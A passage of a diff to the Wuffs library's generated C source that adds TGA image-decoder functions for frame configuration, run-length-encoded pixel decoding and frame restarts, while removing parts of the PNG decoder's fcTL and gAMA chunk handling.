++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func tga.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func tga.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_tga__decoder__do_decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_tga__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { +- self->private_impl.f_first_rect_x0 = self->private_impl.f_frame_rect_x0; +- self->private_impl.f_first_rect_y0 = self->private_impl.f_frame_rect_y0; +- self->private_impl.f_first_rect_x1 = self->private_impl.f_frame_rect_x1; +- self->private_impl.f_first_rect_y1 = self->private_impl.f_frame_rect_y1; +- self->private_impl.f_first_duration = self->private_impl.f_frame_duration; +- self->private_impl.f_first_disposal = self->private_impl.f_frame_disposal; +- self->private_impl.f_first_overwrite_instead_of_blend = self->private_impl.f_frame_overwrite_instead_of_blend; ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ self->private_impl.f_opaque, ++ false, ++ 4278190080u); + } ++ self->private_impl.f_call_sequence = 64u; + +- goto ok; + ok: +- self->private_impl.p_decode_fctl[0] = 0; ++ self->private_impl.p_do_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_fctl[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_fctl[0].v_x0 = v_x0; +- self->private_data.s_decode_fctl[0].v_x1 = v_x1; +- self->private_data.s_decode_fctl[0].v_y1 = v_y1; ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -56212,15 +69922,114 @@ wuffs_png__decoder__decode_fctl( + return status; + } + +-// -------- func png.decoder.decode_gama ++// -------- func tga.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func tga.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_gama( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { ++wuffs_tga__decoder__do_decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + wuffs_base__status status = wuffs_base__make_status(NULL); + ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint32_t v_dst_x = 0; ++ uint32_t v_dst_y = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_dst_start = 0; ++ wuffs_base__slice_u8 v_src_palette = {0}; ++ uint64_t v_mark = 0; ++ uint64_t v_num_pixels64 = 0; ++ uint32_t v_num_pixels32 = 0; ++ uint32_t v_lit_length = 0; ++ uint32_t v_run_length = 0; ++ uint64_t v_num_dst_bytes = 0; ++ uint32_t v_num_src_bytes = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_c5 = 0; ++ + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -56232,516 +70041,739 @@ wuffs_png__decoder__decode_gama( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_gama[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel; ++ v_dst_x = self->private_data.s_do_decode_frame.v_dst_x; ++ v_dst_y = self->private_data.s_do_decode_frame.v_dst_y; ++ v_mark = self->private_data.s_do_decode_frame.v_mark; ++ v_num_pixels32 = self->private_data.s_do_decode_frame.v_num_pixels32; ++ v_lit_length = self->private_data.s_do_decode_frame.v_lit_length; ++ v_run_length = self->private_data.s_do_decode_frame.v_run_length; ++ v_num_dst_bytes = self->private_data.s_do_decode_frame.v_num_dst_bytes; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_chunk_length != 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_tga__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_header_color_map_type != 0u) { ++ v_src_palette = wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024); ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), ++ v_src_palette, ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); + goto exit; + } +- self->private_impl.f_chunk_length = 0u; +- self->private_impl.f_metadata_flavor = 5u; +- self->private_impl.f_metadata_fourcc = 1195461953u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_gama[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_gama[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint64_t)(*scratch >> 32)); +- break; ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 32u)) == 0u) { ++ v_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); ++ } ++ if (((uint8_t)(self->private_impl.f_header_image_type & 8u)) == 0u) { ++ v_lit_length = self->private_impl.f_width; ++ } ++ label__resume__continue:; ++ while (true) { ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); ++ while (v_dst_y < self->private_impl.f_height) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); ++ v_dst_start = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); ++ if (v_dst_start <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_start); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } ++ while (v_dst_x < self->private_impl.f_width) { ++ if (self->private_impl.f_src_bytes_per_pixel > 0u) { ++ if (v_lit_length > 0u) { ++ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ v_num_pixels64 = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(self->private_impl.f_src_bytes_per_pixel))); ++ v_num_pixels32 = ((uint32_t)(wuffs_base__u64__min(v_num_pixels64, ((uint64_t)(v_lit_length))))); ++ v_num_dst_bytes = (((uint64_t)(v_num_pixels32)) * v_dst_bytes_per_pixel); ++ v_num_src_bytes = (v_num_pixels32 * self->private_impl.f_src_bytes_per_pixel); ++ self->private_data.s_do_decode_frame.scratch = v_num_src_bytes; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ if (v_num_dst_bytes <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_num_dst_bytes); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } ++ v_dst_x += v_num_pixels32; ++ v_lit_length = (((uint32_t)(v_lit_length - v_num_pixels32)) & 65535u); ++ if (v_lit_length > 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ goto label__resume__continue; ++ } ++ } else if (v_run_length > 0u) { ++ v_run_length -= 1u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); ++ } ++ v_dst_x += 1u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ goto label__resume__continue; ++ } ++ if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { ++ v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); ++ iop_a_src += 1u; ++ if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } else { ++ if (self->private_impl.f_src_bytes_per_pixel == 1u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ } else if (self->private_impl.f_src_bytes_per_pixel == 3u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[3u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ } ++ if ((v_run_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } ++ } ++ } else { ++ if (v_lit_length > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ goto label__resume__continue; ++ } ++ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ v_c5 = (31u & (v_c32 >> 0u)); ++ self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 5u)); ++ self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 10u)); ++ self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ self->private_data.f_scratch[3u] = 255u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, 4)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); ++ } ++ v_dst_x += 1u; ++ v_lit_length -= 1u; ++ } else if (v_run_length > 0u) { ++ v_run_length -= 1u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); ++ } ++ v_dst_x += 1u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ goto label__resume__continue; ++ } ++ if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { ++ v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); ++ iop_a_src += 1u; ++ if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ v_c5 = (31u & (v_c32 >> 0u)); ++ self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 5u)); ++ self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 10u)); ++ self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ self->private_data.f_scratch[3u] = 255u; ++ if ((v_run_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } ++ } + } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ v_dst_x = 0u; ++ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 32u)) == 0u) { ++ v_dst_y -= 1u; ++ } else { ++ v_dst_y += 1u; ++ } ++ if (((uint8_t)(self->private_impl.f_header_image_type & 8u)) == 0u) { ++ v_lit_length = self->private_impl.f_width; + } + } +- self->private_impl.f_metadata_x = t_0; ++ break; + } +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; ++ self->private_data.s_do_decode_frame.v_dst_x = v_dst_x; ++ self->private_data.s_do_decode_frame.v_dst_y = v_dst_y; ++ self->private_data.s_do_decode_frame.v_mark = v_mark; ++ self->private_data.s_do_decode_frame.v_num_pixels32 = v_num_pixels32; ++ self->private_data.s_do_decode_frame.v_lit_length = v_lit_length; ++ self->private_data.s_do_decode_frame.v_run_length = v_run_length; ++ self->private_data.s_do_decode_frame.v_num_dst_bytes = v_num_dst_bytes; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func tga.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_tga__decoder__frame_dirty_rect( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func tga.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_tga__decoder__num_animation_loops( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func tga.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frame_configs( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func tga.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__num_decoded_frames( ++ const wuffs_tga__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func tga.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__restart_frame( ++ wuffs_tga__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if (a_index != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ return 